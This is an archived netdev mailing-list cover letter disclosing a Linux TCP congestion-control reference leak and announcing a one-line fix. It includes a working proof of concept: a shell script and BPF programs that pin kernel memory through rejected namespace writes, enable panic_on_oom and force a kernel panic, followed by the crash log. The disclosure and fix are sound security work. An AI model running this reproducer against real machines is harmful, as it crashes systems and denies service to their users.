Netdev List
 help / color / mirror / Atom feed
* [PATCH net 0/1] tcp: release congestion control reference on rejection
@ 2026-10-21 18:57 Zhiling Zou
  2026-10-21 18:57 ` [PATCH net 1/1] " Zhiling Zou
  2026-10-21 19:02 ` [PATCH net 0/1] " netdev-bot+sinfo
  0 siblings, 2 replies; 5+ messages in thread
From: Zhiling Zou @ 2026-10-21 18:57 UTC (permalink / raw)
  To: netdev, bpf
  Cc: edumazet, ncardwell, kuniyu, davem, pabeni, horms,
	jonathon.reinhart, vega, zhilinz

Hi Linux kernel maintainers,

We found and validated an issue in net/ipv4/tcp_cong.c. After a
restricted BPF struct_ops TCP congestion-control algorithm has been
loaded, a non-root user can trigger the reference leak through user and
network namespaces. Loading the algorithm requires a privileged setup
in the initial network namespace.

This bug is tracked at: https://bugtracker.nebusec.ai/f/11756

We will provide detailed information about the bug
in this email, along with a PoC to trigger it.

---- details below ----

Bug details:

tcp_set_default_congestion_control() calls bpf_try_module_get() before
checking whether a non-init network namespace may select a restricted
congestion-control algorithm. When the check fails, the function returns
-EPERM without dropping the acquired reference.

For BPF struct_ops algorithms, this keeps the struct_ops map and its
programs alive. For module-backed algorithms, it leaks the module
reference. Repeated rejected writes can therefore pin kernel resources.
The fix releases the acquired reference on the existing -EPERM path.

Reproducer:

    ./poc.sh oom

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
The script uses the supplied leak_ca_oom.bpf.o object.

------BEGIN poc.sh------

    #!/bin/sh
    set -eu

    POC_DIR=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
    SMALL_OBJ="$POC_DIR/leak_ca.bpf.o"
    OOM_OBJ="$POC_DIR/leak_ca_oom.bpf.o"
    BPFFS_ROOT=/sys/fs/bpf/tcp_cc_leak_poc
    TEST_USER=${TEST_USER:-test_user}
    LEAK_ITERATIONS=${LEAK_ITERATIONS:-6}
    OOM_CHUNKS=${OOM_CHUNKS:-16}

    need_root() {
    	if [ "$(id -u)" -ne 0 ]; then
    		echo "run as root" >&2
    		exit 1
    	fi
    }

    need_file() {
    	if [ ! -f "$1" ]; then
    		echo "missing required file: $1" >&2
    		exit 1
    	fi
    }

    run_userns_trigger() {
    	if id "$TEST_USER" >/dev/null 2>&1; then
    		su -s /bin/sh "$TEST_USER" -c 'unshare -Urn python3 - <<'"'"'PY'"'"'
    import os
    path = "/proc/sys/net/ipv4/tcp_congestion_control"
    fd = os.open(path, os.O_WRONLY)
    try:
        os.write(fd, b"leakca\n")
        print("write unexpectedly succeeded")
    except OSError as e:
        print(f"write failed as expected: errno={e.errno} strerror={e.strerror}")
    finally:
        os.close(fd)
    PY' || true
    	else
    		unshare -n python3 - <<'PY' || true
    import os
    path = "/proc/sys/net/ipv4/tcp_congestion_control"
    fd = os.open(path, os.O_WRONLY)
    try:
        os.write(fd, b"leakca\n")
        print("write unexpectedly succeeded")
    except OSError as e:
        print(f"write failed as expected: errno={e.errno} strerror={e.strerror}")
    finally:
        os.close(fd)
    PY
    	fi
    }

    leak_once() {
    	obj=$1
    	dir=$2

    	rm -rf "$dir"
    	mkdir -p "$dir"
    	bpftool struct_ops register "$obj" "$dir"
    	run_userns_trigger
    	bpftool link detach pinned "$dir/leakca"
    }

    observe_mode() {
    	need_file "$SMALL_OBJ"
    	rm -rf "$BPFFS_ROOT"
    	mkdir -p "$BPFFS_ROOT"

    	leak_once "$SMALL_OBJ" "$BPFFS_ROOT/observe"

    	echo
    	echo "struct_ops entries after detach:"
    	bpftool struct_ops show | grep leakca || true

    	echo
    	echo "maps still alive after detach:"
    	bpftool map show | grep -E 'name leakca|name leak_payload' || true
    }

    oom_mode() {
    	i=1

    	need_file "$OOM_OBJ"
    	rm -rf "$BPFFS_ROOT"
    	mkdir -p "$BPFFS_ROOT"

    	echo 2 > /proc/sys/vm/panic_on_oom
    	ulimit -l unlimited || true

    	while [ "$i" -le "$LEAK_ITERATIONS" ]; do
    		echo "[*] leak iteration $i/$LEAK_ITERATIONS"
    		leak_once "$OOM_OBJ" "$BPFFS_ROOT/oom-$i"
    		free -m | sed -n '1,2p'
    		i=$((i + 1))
    	done

    	echo
    	echo "[*] allocating $((OOM_CHUNKS * 64)) MB in userspace to trip OOM after the leaked kernel memory has accumulated"
    	python3 - <<PY
    chunks = []
    chunk = 64 * 1024 * 1024
    for i in range($OOM_CHUNKS):
        chunks.append(bytearray(chunk))
        print(f"allocated {(i + 1) * 64} MB", flush=True)
    print("allocation completed unexpectedly")
    PY
    }

    usage() {
    	cat <<'EOF'
    usage: ./poc.sh [observe|oom]

    observe:
      single leak iteration using leak_ca.bpf.o, no crash expected

    oom:
      six leak iterations using leak_ca_oom.bpf.o, then a bounded 1 GB
      userspace allocation that should panic the kernel because the leaked
      BPF objects have already consumed most memory
    EOF
    }

    need_root

    case "${1:-observe}" in
    observe)
    	observe_mode
    	;;
    oom)
    	oom_mode
    	;;
    *)
    	usage >&2
    	exit 1
    	;;
    esac

------END poc.sh------

------BEGIN leak_ca.bpf.c------

    // SPDX-License-Identifier: GPL-2.0

    #include <vmlinux.h>
    #include <bpf/bpf_helpers.h>
    #include <bpf/bpf_tracing.h>
    #include "bpf_tracing_net.h"

    char _license[] SEC("license") = "GPL";

    SEC("struct_ops")
    void BPF_PROG(leakca_cong_control, struct sock *sk,
    	      const struct rate_sample *rs)
    {
    }

    SEC("struct_ops")
    __u32 BPF_PROG(leakca_ssthresh, struct sock *sk)
    {
    	return tcp_sk(sk)->snd_ssthresh;
    }

    SEC("struct_ops")
    __u32 BPF_PROG(leakca_undo_cwnd, struct sock *sk)
    {
    	return tcp_sk(sk)->snd_cwnd;
    }

    SEC(".struct_ops.link")
    struct tcp_congestion_ops leakca = {
    	.cong_control	= (void *)leakca_cong_control,
    	.ssthresh	= (void *)leakca_ssthresh,
    	.undo_cwnd	= (void *)leakca_undo_cwnd,
    	.name		= "leakca",
    };

------END leak_ca.bpf.c------

------BEGIN leak_ca_oom.bpf.c------

    // SPDX-License-Identifier: GPL-2.0

    #include <vmlinux.h>
    #include <bpf/bpf_helpers.h>
    #include <bpf/bpf_tracing.h>
    #include "bpf_tracing_net.h"

    struct leak_blob {
    	char bytes[4096];
    };

    struct {
    	__uint(type, BPF_MAP_TYPE_ARRAY);
    	__uint(max_entries, 65536);
    	__type(key, __u32);
    	__type(value, struct leak_blob);
    } leak_payload SEC(".maps");

    char _license[] SEC("license") = "GPL";

    SEC("struct_ops")
    void BPF_PROG(leakca_oom_cong_control, struct sock *sk,
    	      const struct rate_sample *rs)
    {
    	__u32 key = 0;
    	struct leak_blob *blob;

    	blob = bpf_map_lookup_elem(&leak_payload, &key);
    	if (blob)
    		blob->bytes[0] = 1;
    }

    SEC("struct_ops")
    __u32 BPF_PROG(leakca_oom_ssthresh, struct sock *sk)
    {
    	return tcp_sk(sk)->snd_ssthresh;
    }

    SEC("struct_ops")
    __u32 BPF_PROG(leakca_oom_undo_cwnd, struct sock *sk)
    {
    	return tcp_sk(sk)->snd_cwnd;
    }

    SEC(".struct_ops.link")
    struct tcp_congestion_ops leakca = {
    	.cong_control	= (void *)leakca_oom_cong_control,
    	.ssthresh	= (void *)leakca_oom_ssthresh,
    	.undo_cwnd	= (void *)leakca_oom_undo_cwnd,
    	.name		= "leakca",
    };

------END leak_ca_oom.bpf.c------

----BEGIN crash log----

[  312.334207][T10658] Kernel panic - not syncing: Out of memory: compulsory panic_on_oom is enabled
[  312.334939][T10658] CPU: 3 UID: 0 PID: 10658 Comm: python3 Not tainted 6.12.95 #2
[  312.335458][T10658] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[  312.336280][T10658] Call Trace:
[  312.336511][T10658]  <TASK>
[  312.336731][T10658]  panic+0x533/0x610
[  312.337014][T10658]  ? dump_header+0x5d2/0x800
[  312.337342][T10658]  ? __pfx_panic+0x10/0x10
[  312.337698][T10658]  out_of_memory+0x73c/0x1430
[  312.338032][T10658]  ? __alloc_pages_noprof+0xd53/0x26d0
[  312.338420][T10658]  ? __pfx_out_of_memory+0x10/0x10
[  312.338780][T10658]  ? lock_acquire+0x2f/0xb0
[  312.339092][T10658]  ? __alloc_pages_noprof+0xd53/0x26d0
[  312.339480][T10658]  __alloc_pages_noprof+0x1ecc/0x26d0
[  312.339889][T10658]  ? __pfx___alloc_pages_noprof+0x10/0x10
[  312.340283][T10658]  ? hlock_class+0x4e/0x130
[  312.340599][T10658]  ? mark_lock+0xb5/0xc60
[  312.340895][T10658]  ? srso_alias_return_thunk+0x5/0xfbef5
[  312.341313][T10658]  ? __pfx_mark_lock+0x10/0x10
[  312.341655][T10658]  ? srso_alias_return_thunk+0x5/0xfbef5
[  312.342038][T10658]  ? rcu_is_watching+0x12/0xc0
[  312.342376][T10658]  alloc_pages_mpol_noprof+0x1ab/0x4d0
[  312.342759][T10658]  ? __pfx_alloc_pages_mpol_noprof+0x10/0x10
[  312.343172][T10658]  ? srso_alias_return_thunk+0x5/0xfbef5
[  312.343572][T10658]  ? srso_alias_return_thunk+0x5/0xfbef5
[  312.343959][T10658]  folio_alloc_mpol_noprof+0x16/0x90
[  312.344321][T10658]  vma_alloc_folio_noprof+0xc4/0x170
[  312.344704][T10658]  ? __pfx_vma_alloc_folio_noprof+0x10/0x10
[  312.345107][T10658]  ? find_held_lock+0x2d/0x110
[  312.345441][T10658]  ? srso_alias_return_thunk+0x5/0xfbef5
[  312.345839][T10658]  do_pte_missing+0x825/0x3710
[  312.346189][T10658]  __handle_mm_fault+0xac8/0x1db0
[  312.346545][T10658]  ? __pfx_lock_release+0x10/0x10
[  312.346891][T10658]  ? down_read_trylock+0x1f0/0x3f0
[  312.347240][T10658]  ? lock_vma_under_rcu+0x121/0x720
[  312.347601][T10658]  ? __pfx___handle_mm_fault+0x10/0x10
[  312.348002][T10658]  ? srso_alias_return_thunk+0x5/0xfbef5
[  312.348403][T10658]  handle_mm_fault+0x2ad/0x910
[  312.348822][T10658]  do_user_addr_fault+0x301/0xe10
[  312.349186][T10658]  exc_page_fault+0x5d/0xe0
[  312.349500][T10658]  asm_exc_page_fault+0x26/0x30
[  312.349840][T10658] RIP: 0033:0x7f38e70d3340
[  312.350147][T10658] Code: 48 81 fa 00 01 00 00 76 c8 48 8d 8c 17 00 fe ff ff 62 e1 fe 48 7f 40 02 62 e1 fe 48 7f 40 03 48 39 f9 76 2e 48 83 e7 c0 66 90 <62> e1 fd 48 7f 47 04 62 e1 fd 48 7f 47 05 62 e1 fd 48 7f 47 06 62
[  312.351441][T10658] RSP: 002b:00007fff03373848 EFLAGS: 00010287
[  312.351863][T10658] RAX: 00007f38c2995010 RBX: 0000000004000000 RCX: 00007f38c6994e10
[  312.352395][T10658] RDX: 0000000004000000 RSI: 0000000000000000 RDI: 00007f38c48fdf00
[  312.352947][T10658] RBP: 00007f38e69cc268 R08: 00000000ffffffff R09: 0000000000000000
[  312.353473][T10658] R10: 0000000000000022 R11: 0000000000000246 R12: 00007f38e6a2bab0
[  312.354004][T10658] R13: 0000000000a02820 R14: 0000000000000000 R15: 00007f38e69f8ab0
[  312.354585][T10658]  </TASK>
[  312.355010][T10658] Kernel Offset: disabled
[  312.355354][T10658] Rebooting in 86400 seconds..

-----END crash log-----

Best regards,
Zhiling Zou

Zhiling Zou (1):
  tcp: release congestion control reference on rejection

 net/ipv4/tcp_cong.c | 1 +
 1 file changed, 1 insertion(+)


^ permalink raw reply	[flat|nested] 5+ messages in thread

end of thread, other threads:[~2026-10-22  3:54 UTC | newest]

Thread overview: 5+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-10-21 18:57 [PATCH net 0/1] tcp: release congestion control reference on rejection Zhiling Zou
2026-10-21 18:57 ` [PATCH net 1/1] " Zhiling Zou
2026-10-22  3:53   ` Eric Dumazet
2026-10-21 19:02 ` [PATCH net 0/1] " netdev-bot+sinfo
2026-10-21 19:09   ` zhilin zou

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox